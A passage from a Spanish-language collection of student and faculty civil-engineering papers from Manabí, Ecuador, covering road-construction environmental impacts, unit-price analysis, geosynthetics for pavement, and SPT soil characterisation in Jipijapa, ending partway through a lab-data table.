Las áreas destinadas al depósito de excedentes deberán rellenarse con capas horizontales que no se elevarán por encima de la cota del terreno natural. Se deberá asegurar un drenaje adecuado y se impedirá la erosión de los suelos allí acumulados.

La colocación del material excedente deberá realizarse en capas de aproximadamente un espesor de 0.50 m, siendo cada capa compactada con diez (10) pasadas de rodillo, a fin de disminuir la densidad y compactar, debiéndose llegar a un Índice de 60% de compactación como mínimo.

Los materiales gruesos deberán recubrirse con suelos finos. Los taludes laterales no deberán ser menos inclinados que 3:2 (H-V) y se deberán recubrir de suelos orgánicos, pastos u otra vegetación natural de la zona.

RESULTADO Y DISCUSIÓN

RESULTADOS Y DISCUSIÓN

La metodología seguida para la realización del diagnóstico consistió en consultar los resultados de la evaluación de impacto ambiental que se ejecutó previo al estudio de impacto ambiental desarrollado para el presente proyecto. A partir del análisis del documento de “Evaluación de Impacto Ambiental” para el tramo de vía Joa – Jipijapa, se pueden listar como posibles impactos a ocurrir los siguientes:

- Alta generación de polvo y erosión de los suelos.
- Deforestación en el entorno de la vía y en las áreas que se tomarán como áreas de préstamo para la ejecución de la obra y afectaciones paisajísticas.
- Pérdida de la productividad de los suelos.
- Pérdida de hábitats para diversas especies de aves, reptiles y otros.
- Deterioro de las cuencas y cauces de ríos, arroyos y quebradas en la zona de intervención
- Deterioro generalizado de la calidad ambiental de la zona.

- Deterioro de la Calidad de vida de los moradores de la zona, fundamentalmente en el período de ejecución de la obra vial.
- Incremento de los niveles de ruido con afectación para los moradores de las zona.
- Incremento del peligro de accidentes de tránsito en la zona al mejorar las condiciones de la vía.

IMPACTOS AMBIENTALES

RESULTADOS DE LA ENCUESTA A LOS MORADORES DE LA ZONA Y A LOS TRABAJADORES DE LA COMPAÑÍA H&H.

Los impactos previstos a partir de la aplicación de una encuesta a los moradores de la zona y a los trabajadores Municipales que extraen material de la Mina que se ubica en el vial Jipijapa – Joa, así como mediante visitas de campo se tomaron secuencias gráficas (a través de fotos) de la ocurrencia de los impactos ambientales previstos.

Habitantes.- En total fueron encuestados 103 personas de los 140 habitantes adultos que viven en la zona; todos reconocen beneficios con la construcción de la vía pero también todos desconocen si hubo o no EIA , todos reconocen la afectación a cauces, deforestación, incremento de polvo erosión del suelo, migración de la fauna y deterioro de la tierra ; el 100 % coincide en recuperar la zona mediante un Programa.

Trabajadores de Municipales.- En total fueron encuestados 132 trabajadores de los 200 implicados; Los trabajadores coinciden con los moradores de la zona en las respuestas sin embargo dicen que si existe un plan de medidas para mitigar impactos pero a la vez contradice porque nadie sabe como implementarlas y si están o no tomando los correctivos.

A continuación se muestran imágenes de los impactos ambientales presentes en la zona estudiada.

En las figura 1 y 2 se puede apreciar que estos impactos los cuales fueron identificados en la evaluación del impacto ambiental, en la realidad de la materialización ocurrieron y que los mismos han influido directamente en el deterioro ambiental de la zona de intervención del proyecto, mermando sensiblemente la calidad ambiental del sitio.

Figura 1: Ampliación del ancho de vía lo cual ha generado deforestación, generación de polvo y erosión de los suelos.

Imagen 2: Corte en taludes sin posterior reforestación, lo que incrementa el peligro de deslaves y derrumbes.

De la imagen 3 se puede apreciar la intensa deforestación realizada en las áreas de préstamo y el estado de deterioro que la misma presenta una vez culminado el proceso de extracción de materiales por parte de la empresa constructora. Igualmente es palpable la no implementación de acciones mitigadoras de los impactos que este proceso generó en esta zona. Esta fue una de las principales deficiencias del estudio de impacto ambiental realizado, el no elaborar e implementar un programa de rehabilitación para contrarrestar y/o mitigar el deterioro ambiental que causaría la materialización del proyecto para la construcción de la vía Joa – Jipijapa y el establecimiento de áreas de préstamo para la extracción de los materiales requeridos para la construcción de la misma.

Imagen 4: Proceso de extracción de material de préstamo en las áreas seleccionadas para esta actividad.

CONCLUSIONES

- La realización de un estudio de impacto ambiental eficiente, permitirá al inversionista y Municipios implementar un plan de acciones mitigadoras del impacto generado que permitan la rehabilitación ambiental del ecosistema deteriorado.

- El presente trabajo; permitió comprobar la deficiente educación ambiental presentada tanto por los moradores de la zona, como por los generadores del uso ; por lo que la implementación de un Programa de Educación Ambiental contribuiría de forma positiva en la incorporación de la comunidad a las tareas de rehabilitación de ese ecosistema deteriorado.

REFERENCIAS BIBLIOGRÁFICAS

- Boada, M., Toledo, V. M. (2002): “El Planeta es Nuestro Cuerpo: ecología, ambientalismos y modernidad alternativa”. Fondo de Cultura Económica. México, (2002).
- Echeverry, D.; Páez, H. y Mesa, H. 2008. Simulación digital de procesos de construcción de estructura en concreto: casos de estudio práctico en Bogotá. Revista Ingeniería de Construcción Vol.23 N°1, Abril de 2008. Disponible en: <http://www.scielo.cl/scielo>. Consultado en agosto, 2011.
- Jaime A. (2003): “*Las obras de ingeniería civil y su impacto ambiental*”. Series del Instituto de Ingeniería, UNAM, México DF, SD/42.

DINAMICA DEL ANALISIS DE PRECIOS UNITARIO Y SU INCIDENCIA EN EL COSTO DE OBRAS

Ing. Francisco Segundo Ponce Reyes.

Jean Carlos Cabezas Ortiz

Jessica Liliana Plua Baque

Tania Maricela Macías Parrales

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

El propósito de este trabajo es analizar la dinámica de los precios unitarios y su incidencia en el costo de obras; realizado en base a observación y comparación de diversos análisis de precios unitarios y presupuestos referenciales de proyectos estandarizados. De forma complementaria se utilizó el método de la revisión bibliográfica para recopilar la información más relevante sobre el tema en estudio. Los costos y precios de construcción requieren por parte de los responsables de su elaboración, el conocimiento técnico, práctico y legal, así como experiencias suficientes de los procesos constructivos, y estos son calculados en base a los planos y especificaciones técnicas del proyecto para una fecha y un sitio determinado; pues no hay precios constantes. Esto permite conocer la perspectiva de los estudiantes en los logros de aprendizajes alcanzados. A través del estudio, el profesional en formación estará en capacidad de manejar y dominar la dinámica de los análisis de precios unitarios, demostrando conocer su estructura y conformación; y, los insumos que requiere para dinamizar el mismo de acuerdo a las partidas presupuestarias de las entidades del estado y que su incidencia sea de acuerdo a la dinámica y economía del país. Así mismo le permite avizorar sus destrezas y habilidades que posee en el tema de estudio; y, conocer si tiene la formación adecuada que le permita lograr insertarse en el ámbito laboral de su competencia y saber si podrán ser competitivos.

PALABRAS CLAVE: Dinámica de los precios unitarios, perspectiva de los estudiantes, partida presupuestaria.

SUMMARY

The purpose of this research is to analyze the dynamics of unit prices and their impact on the cost of works; made based on observation and comparison of various unit price analyzes and referential budgets of standardized projects. In a complementary manner, the bibliographic review method was used to gather the most relevant information on the subject under study. The construction costs and prices require the technical, practical and legal knowledge, as well as sufficient experiences of the construction processes, on the part of those responsible for its preparation, and these are calculated based on the plans and technical specifications of the project for a date and a certain site; then there are no constant prices. This allows knowing the perspective of the students in the achievements of learning achieved. Through the study, the

professional in training will be able to manage and master the dynamics of unit price analysis, demonstrating knowledge of its structure and conformation; and, the inputs required to boost it according to the budget items of the state entities and their incidence is according to the dynamics and economy of the country. It also allows you to see your skills and abilities that you have in the subject of study; and, to know if it has the suitable formation that allows him to be able to insert itself in the labor scope of its competition and to know if they will be able to be competitive.

KEYWORDS: Unit pricing dynamics, student perspective, budget line item.

INTRODUCCIÓN

Se sabe que muchas obras quedan abandonadas o no son culminadas debido al desfinanciamiento que estas sufren; esto se debe básicamente a las variaciones de cantidades de obra, y nuevos costos de la mano de obra y materiales; lo que provoca aumentos considerables con márgenes permitidos por la Ley, así como el cobro de reajuste de precios, lo que muchas veces las Instituciones del Estado no las tiene financiado, lo que conlleva a problemas legales que no convienen a ninguna de las partes (contratante y contratista).

El ámbito y alcance del estudio se lo estableció para la zona sur de Manabí.

El objetivo consiste en analizar la dinámica del análisis de precios unitario y su incidencia en el costo de obras; lo que se complementa con:

- Entender el cálculo de análisis de precios unitarios para diferentes rubros; y realizar el correspondiente presupuesto de obra.
- Diagnosticar, y conocer los conocimientos que tienen los estudiantes sobre esta asignatura afín al área de conocimiento.
- Estudiar las especificaciones técnicas de los diferentes rubros.

MATERIALES Y METODO

El presente trabajo fue realizado en base a observación y comparación de diversos análisis de precios unitarios y presupuestos referenciales de proyectos estandarizados.

Se utilizó metodología tipo cualitativo, información basada en la observación del comportamiento del análisis de precios unitario de un mismo proyecto en diferentes localidades.

De forma complementaria se utilizó el método de la revisión bibliográfica para recopilar la información más relevante sobre el tema en estudio. Para la localización de los documentos bibliográficos se utilizaron varias fuentes documentales.

RESULTADO Y DISCUSIÓN

Los costos y precios de construcción requieren por parte de los responsables de su elaboración, el conocimiento técnico, práctico y legal, así como experiencias suficientes de los procesos constructivos. Y necesariamente la visita al sitio de las obras; así como la investigación de precios de materiales, equipos y herramientas propios de la zona de estudio, lo que permitirá que se obtengan presupuestos referenciales, acorde a la situación que se está analizando.

El recurso humano que realizan los presupuestos referenciales de una obra tienen la obligación de realizar la investigación de mercado sobre los precios de los diversos insumos que se requieren para elaborar los Análisis de Precios Unitarios, averiguar costos de transporte de materiales y elaborar especificaciones técnicas que correspondan al proyecto en ejecución.

Con esto se busca que no exista desfinanciamiento, que el contratista obtenga la utilidad justa por su trabajo y que la comunidad beneficiaria logre tener una mejor condición de vida accediendo a los beneficios que brinda una obra.

Todo esto hace que los Análisis de Precios Unitarios no sean estáticos, sino dinámicos, porque están constantemente en movimientos, y su incidencia se debe a los siguientes factores:

- Costos de alquiler maquinarias y equipos de construcción.
- Rendimientos
- Mano de obra
- Variación de precios de materiales debido a la escases o a la elevación de combustible
- Lo que implica también elevación de costo de transporte de materiales e insumos para la obra.

Lo que concuerda con otros estudios ya realizado referente al tema:

CARACTERISTICAS DE LOS COSTOS UNITARIOS.

Los costos unitarios son aproximados, pues se basan en suposiciones, además, dependen de la habilidad que tenga el analista y para su estimación están supeditados a condiciones promedio de consumo, pérdidas y desperdicios.

Son específicos, pues cada estimación es propia de cada proceso constructivo y es consecuencia de su planificación y ejecución.

El costo unitario es válido en el momento de cálculo y en las condiciones dadas para el mismo, pero debe ser actualizado continuamente, pues los insumos que lo componen están variando rápidamente.

Discusión

El estudio confronta el conocimiento, la experiencia y la habilidad que tenga el analista para estimar el análisis de precios unitarios: ya que este variaría pese a ser de un mismo proyecto, para una misma fecha y para el mismo sitio; esto se debe a que se tiene diferente punto de vista, y mejor precios de materiales, sin dejar de tener en cuenta el cumplimiento de las especificaciones técnicas.

CONCLUSIONES

El análisis de precios unitario es dinámico y está variando constantemente debido a diversos factores, como: el rendimiento, la mano de obra, costo de equipo, costo de materiales, transporte, lo que hace que los presupuestos que se elaboren sean referenciales y que están sujetos a variación constante y sometidos a reajustes de precios, y por consiguiente estos inciden en el costo final de la obra.

REFERENCIAS BIBLIOGRÁFICAS

Franco, O. A. (1969). Introducción a la contabilidad de costos. Editorial El Coloquio.

Instituto Nacional de Estadística (I.N.E.). (Junio 30,2014). Censo Nacional de Población y Vivienda –Resultados Finales. Julio 15, 2014. ceninf@ine.gob.

Horngren, C. T. (2014). Contabilidad de costos : un enfoque gerencial.Mexico D:F.: PrenticeHall Hispanoamericana.

. Biblioteca de Administración Estratégica Tomo III (2015), autor Hugo W. Schwartz.

USO DE GEOSINTÉTICOS PARA MEJORAR LA ESTRUCTURA DE PAVIMENTO EN LA VÍA JIPIJAPA - PUERTO CAYO, PROVINCIA DE MANABÍ.

Ing. Carlos José Zavala Vásquez, Mgs

Srta. Alexandra Monserrate Morán Sánchez

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Am.msanchez@outlook.com

RESUMEN

La vía Jipijapa - Puerto Cayo, específicamente en la zona de la cordillera atraviesa por varios problemas en su capa de rodadura con pavimento flexible, toda vez que se ha realizado varios estados de inspección visual se presentan las siguientes anomalías: baches y fisuras, exceso de humedad, derrumbes, taponamientos de cunetas y alcantarillas, bajo mantenimiento de la vía, azolvamiento de espaldones, falta de señalización, desgaste de la estructura de pavimento. Este trabajo tiene como meta determinar las metodologías de diseño y aplicaciones de los geosintéticos en el mejoramiento de la estructura de pavimento en la vía Jipijapa – Puerto Cayo; los Geosintéticos son elaborados con polímeros, que pueden ser combinados con fibras sintéticas o naturales, y que utilizados en contacto con el suelo, roca o con otros materiales dentro del campo de la geotecnia, cumplen las funciones de: refuerzo, separación, filtración y drenaje, pudiendo cumplir una o varias funciones a la vez, lo que los convierte en una alternativa de solución válida a problemas que comúnmente se presentan en la construcción de estas obras, ya que ofrecen diversas ventajas sobre los métodos tradicionales de construcción por su facilidad de colocación, durabilidad, rentabilidad a largo plazo conservando una identidad innovadora en la construcción de vías.

La propuesta planteada beneficiará al sector pesquero y turístico de los cantones del sur de Manabí de manera particular a los habitantes de Puerto Cayo que permanentemente transitan por esta vía. El proyecto es seguro y factible ya que el uso de los Geosintéticos garantiza el correcto desempeño de la mencionada arteria.

Palabras claves: Obra vial, fibras sintéticas, polímeros, geotecnia, filtración, drenaje.

ABSTRACT

The Jipijapa - Puerto Cayo road, specifically in the area of the mountain range, has several problems with its flexible pavement, since several visual inspections have been carried out. The following anomalies are present: potholes and cracks, excess humidity, landslides, clogging of gutters and culverts, low maintenance of the road, silting of shoulders, lack of signaling, wear of the pavement structure. The goal of this work is to determine the design methodologies and applications of geosynthetics in the improvement of the pavement structure on the Jipijapa - Puerto Cayo road; Geosynthetics are made with polymers, which can be

combined with synthetic or natural fibers, and used in contact with soil, rock or other materials within the field of geotechnical, perform the functions of: reinforcement, separation, filtration and drainage , being able to fulfill one or several functions at the same time, which makes them an alternative of valid solution to problems that commonly arise in the construction of these works, since they offer several advantages over traditional construction methods because of their ease of placement , durability, long-term profitability while maintaining an innovative identity in the construction of roads.

The proposed proposal will benefit the fishing and tourism sector of the southern cantons of Manabí in a particular way to the inhabitants of Puerto Cayo who permanently transit through this route. The project is safe and feasible since the use of Geosynthetics guarantees the correct performance of the aforementioned artery.

Keywords: Road work, synthetic fibers, polymers, geotechnical, filtration, drainage.

INTRODUCCIÓN

El sector vial en la Provincia de Manabí ha recibido el beneficio de procesos de rehabilitación vial superando temporalmente el estado crítico que en ella se presentan debido a múltiples factores entre ellos el escaso mantenimiento y sobre todo de la particularidad de la existencia de los suelos con características de arcilla altamente expansiva además de la no aplicación de nuevas técnicas acordes a las características y exigencias de nuestro entorno.

La vía Jipijapa- Puerto Cayo ha recibido varios trabajos de mantenimiento y repavimentación mismos que se han orientado a la parte de la carpeta asfáltica y mas no al origen de los problemas que se presentan en ella, esto por no considerar un correcto análisis de las características de las fallas.

Una de las particularidades a considerar es que es un bosque húmedo zona altamente densa en vegetación con una humedad característica en las dos etapas del año directamente influenciada por la corriente fría de Humboldt además es atravesada por la cordillera Chongón y Colonche teniendo lloviznas perennes ocasionando que el asfalto este en constante humedad, lo que provoca bache y fisuras tipo piel de cocodrilo. Esta vía se conecta a la denominada ruta del Spondylos.

En la actualidad los excesos de humedad se pueden resolver con el uso de técnicas nuevas e innovadoras como los Geosintéticos, básicamente en las vías usamos los Geotextiles y Geomallas. que bien pudieren aplicarse en la vía Jipijapa- Puerto Cayo ya que el problema y falla que persiste es el exceso de humedad que provoca el agrietamiento y diversidad de fallas.

Los Geotextiles y Geomallas son productos fabricados con resinas poliméricas biológica y químicamente inertes resistentes en combinación con otros Geosintéticos forman geocompuestos, que son materiales de gran simplicidad de colocación y con gran ventaja económica. Con la aparición de los Geosintéticos y en especial los Geotextiles, los investigadores han hecho un aporte significativo a la ingeniería, aclarando el desempeño de estos en aplicaciones específicas, como lo es en este caso, la rehabilitación de pavimentos.

MATERIALES Y METODO

GEOSINTÉTICOS

Los Geosintéticos son productos elaborados con polímeros que preservan el medio ambiente que se emplean en diversos campos de la ingeniería civil. Básicamente en las vías usamos los Geotextiles y Geomallas.

Los Geotextiles, en combinación con otros Geosintéticos forman geocompuestos, que son materiales de gran simplicidad de colocación y con gran ventaja económica. Las Geomallas son materiales diseñados para proporcionar altos refuerzos a los suelos blandos con muy baja capacidad de soporte y se caracteriza por ser elementos con aberturas y de gran resistencia.

Características de los Geotextiles:

- Resistencia a la Tensión.
- Elongación.
- Resistencia Química.
- Permeabilidad y Flujo Planar.
- Resistencia a la Temperatura.
- Capacidad de Filtración.

Funciones.

Separación. Impide la contaminación de los agregados seleccionado con el suelo natural.

Refuerzo. Todo suelo tiene una baja resistencia a la tensión, el Geotextil absorbe los esfuerzos de tensión que el suelo no posee.

Filtración. Permite el paso del agua a través de sus poros, impidiendo que las partículas finas del suelo traspasen el Geotextil.

Aplicación de los geosintéticos en caminos

Una de las causas principales de la falla de los pavimentos y caminos es la contaminación de la base de agregado y la pérdida resultante en la resistencia del mismo. Cuando se coloca agregado sobre una subrasante, la capa inferior se contamina con ésta. Con el tiempo, la carga y la vibración del tránsito va hundiendo el agregado del pavimento en la subrasante, causando la migración hacia arriba del limo y la arcilla.

Los Geosintéticos proporcionan cuatro funciones importantes, las cuales aumentan el funcionamiento del camino: separación, estabilización, refuerzo y drenaje. El Geotextil a seleccionar dependerá de cuales funciones son las más adecuadas para el proyecto.

El Geotextil mantiene el espesor original de las capas del camino. Esta es la función más importante de los Geotextiles para caminos, particularmente cuando se construyen sobre suelos con subrasante de resistencia débil a moderada ($CBR < 7$), también permite usar una base de agregado para el pavimento con una granulometría más abierta y de alta permeabilidad, lo que mejora el drenaje.

Para mantener caminos de este tipo permanentemente en uso es muy importante minimizar la formación de ahuellamiento de manera de evitar la formación de fallas en la base.

Mantenimiento y renovación de pavimentos

Los Geosintéticos especiales para pavimentación y las membranas de reparación están diseñadas para reducir la infiltración del agua y las grietas reflectivas, ahorrando, de esta forma los ciclos costosos de repavimentación. Se ha comprobado que éstas prolongan la vida útil de carreteras, calles urbanas, estacionamientos, pistas de aterrizaje y accesos de aeropuertos. Estos productos tan versátiles se utilizan en pavimentos de asfaltos nuevos, por debajo de las capas de pavimentos rígidos y flexibles, así como por debajo de pavimentos sellados por tratamientos de superficie.

Aplicación del geotextil para pavimentos

El efecto de los Geotextiles para pavimentos en la duración de la superficie de carreteras asfálticas y su incorporación a la construcción asfáltica es un mecanismo complejo, que está determinado por diversos parámetros: tipo de tejido, tipo de mezcla asfáltica, impregnación, estructura de la superficie y construcción general. No es posible evaluar el rendimiento de los tejidos para pavimentos considerando simplemente su resistencia a tracción.

Funciones del geotextil

Al incluir un Geotextil dentro de una estructura de pavimento, éste no cumpliría con la definición de refuerzo, entonces se preferirá la utilización de otro término para definir su comportamiento en este tipo de estructuras, este es el de intercapa.

Estas intercapas son usadas para prevenir o reducir el calcado de grietas, la aparición de grietas del tipo de piel de cocodrilo y los fenómenos de ahuellamiento y corrugamiento.

Barrera Impermeabilizadora

A pesar de que el concreto asfáltico ha sido sometido a un proceso de compactación y que su relación de vacíos es muy baja, hay que considerársele como un elemento permeable, a través del cual se infiltrará un gran porcentaje del agua superficial que podrá llegar a las capas granulares y a la subrasante, ablandando estos suelos afectando los parámetros de resistencia y deformabilidad.

Con el fin de evitar las situaciones anteriores, es necesaria la colocación de una barrera Impermeabilizadora que detenga el proceso de infiltración.

Separación y estabilización de vías

Específicamente, la utilización de los Geotextiles como una capa de separación entre los suelos de subrasante y las capas granulares ha permitido mantener la integridad de los materiales y mejorar su funcionamiento. Los Geotextiles cumplen una función de separación de materiales y de estabilización de la subrasante durante toda la vida de la estructura de la vía, mejorando las condiciones de servicio y estabilidad de las obras, aumentando considerablemente el período de vida útil establecido en el diseño.

Geodrenes

La utilización del geodren es una excelente alternativa para el manejo de los fluidos, porque permite captarlos y conducirlos de una manera rápida y eficiente, disminuyendo notablemente el tiempo de construcción de los sub-drenes por su facilidad de instalación, dando como resultado una disminución de costos frente a otras alternativas convencionales.

Subdrenes

El objetivo de los sub-drenes para vías es evitar la inundación interna de la estructura, captando, conduciendo y evacuando el agua que pueda entrar en la estructura del pavimento.

RESULTADOS Y DISCUSIÓN

Mejoramiento de las condición estructural del pavimento determinado por el uso de los geosintéticos teniendo en cuenta que existe mas de un modelo de diseño con Geosintéticos, el mismo que está condicionado por las características geotecnicas de la franja de estudio.

Diseño eficiente de la estructura del pavimento con el uso de los Geosintéticos para la vía estudiada, el mismo que debe cumplir con la normativa vigente en el pais, el cual debe ser realizado por un personal idóneo que este formado en el estudio de las propiedades de los materiales y por la experiencia recolectada.

Evaluación preventiva permanente de la obra reforzada con geosinteticos con el objetivo de aprender a identificar su comportamiento.

CONCLUSIONES

- Que la rehabilitación de la estructura de pavimento utilizando geosinteticos es una práctica a considerar para resolver de manera eficiente la problemática de la via en estudio.
- El diseño del refuerzo de la estructura del pavimento con Geosintéticos debe estar en función de la evaluación estructural y análisis del trafico para que este acorde a las condiciones de diseño que imperan en la aashto.
- Los ensayos de suelo pertinentes para valoración de características son una premisa en este tipo de técnicas.

REFERENCIAS BIBLIOGRÁFICAS

Caro Espinel, S., & Mejia Flores, L. E. (2005). Factores Que Determinan El Uso De Geosintéticos En Proyectos De Pavimentación En Colombia. Factores Que Determinan El Uso De Geosintéticos En Proyectos De Pavimentación En Colombia. Colombia.

Francinny, D. G., Eduardo, E. V., & Javier, O. M. (Octubre De 2009). Aplicación De Los Geosintéticos En La Estructura De Los Pavimentos Y En Obras De Drenaje Para Carreteras. Aplicación De Los Geosintéticos En La Estructura De Los Pavimentos Y En Obras De Drenaje Para Carreteras. El Salvador.

Javier, C. M., Wilson, M. P., & Xavier, M. C. (2011). Los Geosintéticos Aplicados A Obras De Pavimento Flexible. Los Geosintéticos Aplicados A Obras De Pavimentos Flexible. Ecuador.

CARACTERIZACIÓN FÍSICO-MECÁNICO DEL SUELO UTILIZADO COMO CIMENTACIÓN PARA EDIFICACIONES DE HASTA TRES NIVELES

Ing. Yolanda Aracely Vivar Ponce

Ing. Denny Augusto Cobos Lucio, Mg. Sc.

Ing. Roger Antonio Alcívar Marcillo

María José García León

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

ary_vivar2008@hotmail.com

RESUMEN

Las características físicas y mecánicas de los suelos son variables fundamentales a la hora de implantar una edificación, frecuentemente se observan construcciones sobredimensionadas o subdimensionadas, trayendo consecuencias como el elevado costo de obra o el riesgo al que están expuestos quienes habitan en estas. La ciudadela Eloy Alfaro se encuentra ubicada al sur de la ciudad de Jipijapa con una extensión de 18 hectáreas aproximadamente, en esta se encuentran viviendas de hasta tres niveles y conocer las características del suelo encamina a la construcción o reforzamiento de las mismas. El levantamiento de información se ejecutó en lugares indicados mediante pruebas de campo y ensayos de laboratorio tales como el Ensayo de Penetración Estándar utilizando la Norma de la Sociedad Americana para pruebas y Materiales 1586, Instituto Ecuatoriano de Normalización 689 y Norma Ecuatoriana de la Construcción 2015, para su posterior análisis en el laboratorio y así determinar la caracterización del suelo utilizando la normativa de la Asociación Americana de Oficiales de Carreteras Estatales y Transportes y el Sistema Unificado de Clasificación de Suelo, obteniendo características físicas y mecánicas como límites de Atterberg, humedad natural, peso unitario, resistencia al corte, capacidad portante, licuefacción del suelo y velocidad de onda, los cuales proporcionaron solución a problemas geotécnicos. Tomando como referencia los resultados se puede concluir que el suelo de la ciudadela Eloy Alfaro de la ciudad de Jipijapa garantiza de manera general la estabilidad en cimentaciones para la implantación de edificaciones de hasta tres niveles.

Palabras claves: implantar, tres niveles, características del suelo, límites de Atterberg, licuefacción del suelo

PHYSICAL-MECHANICAL CHARACTERIZATION OF THE SOIL USED AS A FOUNDATION FOR BUILDINGS UP TO THREE LEVELS

SUMMARY

The physical and mechanical characteristics of soils are fundamental variables when implementing a building, often oversized or undersized constructions are observed, bringing

consequences such as the high cost of work or the risk to those who live in these. The Eloy Alfaro citadel is located south of the city of Jipijapa with an area of approximately 18 hectares, in this there are homes of up to three levels and know the characteristics of the ground leading to the construction or reinforcement of the same.

The information was collected at indicated locations through field tests and laboratory tests such as the Standard Penetration Test using the American Society's Standard for Testing and Materials 1586, Ecuadorian Standardization Institute 689 and the Ecuadorian Construction Standard 2015, for further analysis in the laboratory and thus determine the characterization of the soil using the regulations of the American Association of Official State Roads and Transportation and the Unified System of Soil Classification, obtaining physical and mechanical characteristics such as Atterberg limits, natural humidity, unit weight, cut resistance, bearing capacity, soil liquefaction and wave velocity, which provided a solution to geotechnical problems. Taking as a reference the results, it can be concluded that the floor of the Eloy Alfaro citadel of the city of Jipijapa guarantees in a general way the stability in foundations for the implantation of buildings of up to three levels.

Key words: implement, three levels, soil characteristics, Atterberg limits, liquefaction of the soil

INTRODUCCIÓN

Para entender los requisitos solicitados por la Norma Ecuatoriana de la construcción e implantar sobre los suelos de la ciudadela Eloy Alfaro edificaciones de hasta tres niveles es necesario conocer la naturaleza del mismo previamente para ello se debe realizar una serie de estudios que están relacionados directamente con la mecánica de suelos.

El suelo como cimentación forma una parte importante para todo tipo de construcción civil, para ello se procede a determinar el comportamiento del mismo bajo solicitaciones de cargas en edificaciones, con el fin de presentar resultados de los parámetros necesarios para la planificación, diseño y ejecución de un proyecto de construcción de edificaciones de hasta tres niveles de acuerdo a la NORMA ECUATORIANA DE LA CONSTRUCCIÓN (NEC 2015).

Mediante este estudio y valoración de las propiedades físicas y mecánicas del suelo en estado natural ubicado en la ciudadela “Eloy Alfaro” del cantón Jipijapa se puede comprobar las características propias del suelo existente en esta zona, se procede a obtener muestras aleatorias mediante sondeos en el terreno natural para ser llevados al laboratorio y efectuar los ensayos correspondientes para identificar su uso a partir de las propiedades que presenta el mismo, con la finalidad de proporcionar un informe detallado que muestre las condiciones en que se encuentra el suelo de este sector.

Con los resultados obtenidos mediante el ensayo de penetración estándar SPT, se pretende dar una herramienta técnica como es el conocimiento científico que está relacionado con la interacción del suelo y las edificaciones de hasta tres niveles, y de esta manera proporcionar un trabajo útil y garantizado para la comunidad.

MATERIALES Y METODOS

MATERIALES

Para determinar las características físico-mecánicas del suelo, realizaron 6 sondeos donde se obtuvieron 36 muestras alteradas

Tabla 1. Profundidad de muestras y ubicación de sondeos

	SONDEO 1	SONDEO 2	SONDEO 3	SONDEO 4	SONDEO 5	SONDEO 6
Profundidad (m)	281,27 msnm E:546602.00 N:9849670.00 Z:17M	283,21 msnm E:546393.00 N:9849631.00 Z:17M	292,18 msnm E:546540.00 N:9849400.00 Z:17M	297,33 msnm E:546546.00 N:9849312.00 Z:17M	287,08 msnm E:546738.00 N:9849348.00 Z:17M	284,12 msnm E:546613.00 N:9849514.00 Z:17M
0,50 - 0,95	S1 – m1	S2 – m1	S3 – m1	S4 – m1	S5 – m1	S6 – m1
1,50 – 1,95	S1 – m2	S2 – m2	S3 – m2	S4 – m2	S5 – m2	S6 – m2
2,50 – 2,95	S1 – m3	S2 – m3	S3 – m3	S4 – m3	S5 – m3	S6 – m3
3,50 – 3,95	S1 – m4	S2 – m4	S3 – m4	S4 – m4	S5 – m4	S6 – m4
4,50 – 4,95	S1 – m5	S2 – m5	S3 – m5	S4 – m5	S5 – m5	S6 – m5
5,50- 5,95	S1 – m6	S2 – m6	S3 – m6	S4 – m6	S5 – m6	S6 – m6

Elaborado: Aracely Vivar

MÉTODOS

Ensayo de penetración estándar

En el área de estudio se ejecutó el ensayo “in situ” de Penetración Estándar (SPT) de acuerdo a la norma ASTM 1586 e INEN 0689 con 6 perforaciones hasta 6 metros de profundidad. La distribución y profundidad de sondeos se estableció de acuerdo a la NEC 2015, para edificaciones de hasta tres niveles.

Para el estudio de evaluación se contó con el número mínimo de sondeos, de acuerdo a la complejidad del terreno. La ciudadela Eloy Alfaro tiene un área de 5,85734923 hectáreas y es de complejidad baja.

Perforación con equipo S.P.T.

Tabla 2. Número mínimo de sondeos para estudio de evaluación

Complejidad	Superficie (Ha)						
	1	10	50	100	200	500	1000
Baja	3	6	8	9	10	11	12
Media	5	10	14	15	16	18	20
Alta	6	14	20	22	24	27	30

(Rodríguez Ortiz, 1989, p. 26)

Para la toma de datos del N (número de golpes) se tomó el registro de perforación, el número de golpes por cada 15 cm. de penetración o de la fracción correspondiente; la sumatoria de los dos últimos será el valor de N campo.

SONDEO muestra	Profundidad (m)			Número de golpes			N _{CAMPO}
				N	N	N	
S5 – m1	0,50	-	0,95	5	4	4	8
S5 – m2	1,50	-	1,95	1	5	4	9
S5 – m3	2,50	-	2,95	2	2	3	5
S5 – m4	3,50	-	3,95	3	5	7	12
S5 – m5	4,50	-	4,95	3	6	7	13
S5 – m6	5,50	-	5,95	3	5	7	12

Tabla 3 Datos de campo sondeo 5

Elaborado: Aracely Vivar

Datos de la muestra

Ensayos de laboratorio y propiedades físicas del suelo

Contenido de agua (humedad natural)	ASTM D -2216 INEN 690
Granulometría	AASTHO T-88
Límite líquido	AASTHO T-89 INEN 691
Límite plástico	AASTHO T-90 INEN 692

Los resultados de los ensayos de humedad natural, límite líquido, límite plástico y granulometría de acuerdo a la NEC 2015, se procedió a realizar la clasificación de suelos con el Sistema Unificado de Clasificación de Suelos (SUCS).

Tabla 4 Datos humedad natural sondeo 5 muestra 5

PUNTO	CAPSULA (Nº)	PESO DE CAPSULA (grf)	PESO DE CAPSULA + SUELO HUM. (grf)	PESO DE CAPSULA+ SUELO SEC. (grf)	PESO DE AGUA (grf)	NUMERO DE GOLPES (Nº)	CONTENIDO DE AGUA (%)	HUMEDAD PROMEDIO (%)
HUMEDAD NATURAL								
1	A1	13,43	58,43	42,79	15,64	-	53,27	53,35
2	A2	23,97	72,27	55,45	16,82	-	53,43	
3	A3	0,00	0,00	0,00	0,00	-	0,00	

Elaborado: Aracely Vivar

$$\text{humedad natural} = \frac{\text{peso del agua}}{\text{peso del suelo secado en el horno}} \times 100$$

$$\text{humedad natural} = \frac{58,43 - 42,79}{42,79 - 13,43} \times 100 = 53,27\%$$

Peso de las muestras

Tabla 5 Datos límite líquido sondeo 5 muestra 5

PUNTO	CAPSULA (Nº)	PESO DE CAPSULA (grf)	PESO DE CAPSULA + SUELO HUM. (grf)	PESO DE CAPSULA + SUELO SEC. (grf)	PESO DE AGUA (grf)	NUMERO DE GOLPES (Nº)	CONTENIDO DE AGUA (%)	HUMEDAD PROMEDIO (%)
LÍMITE LÍQUIDO								
